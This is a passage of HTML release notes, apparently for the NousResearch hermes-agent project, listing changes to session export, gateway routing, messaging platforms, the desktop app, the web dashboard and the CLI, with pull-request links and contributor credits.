<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" 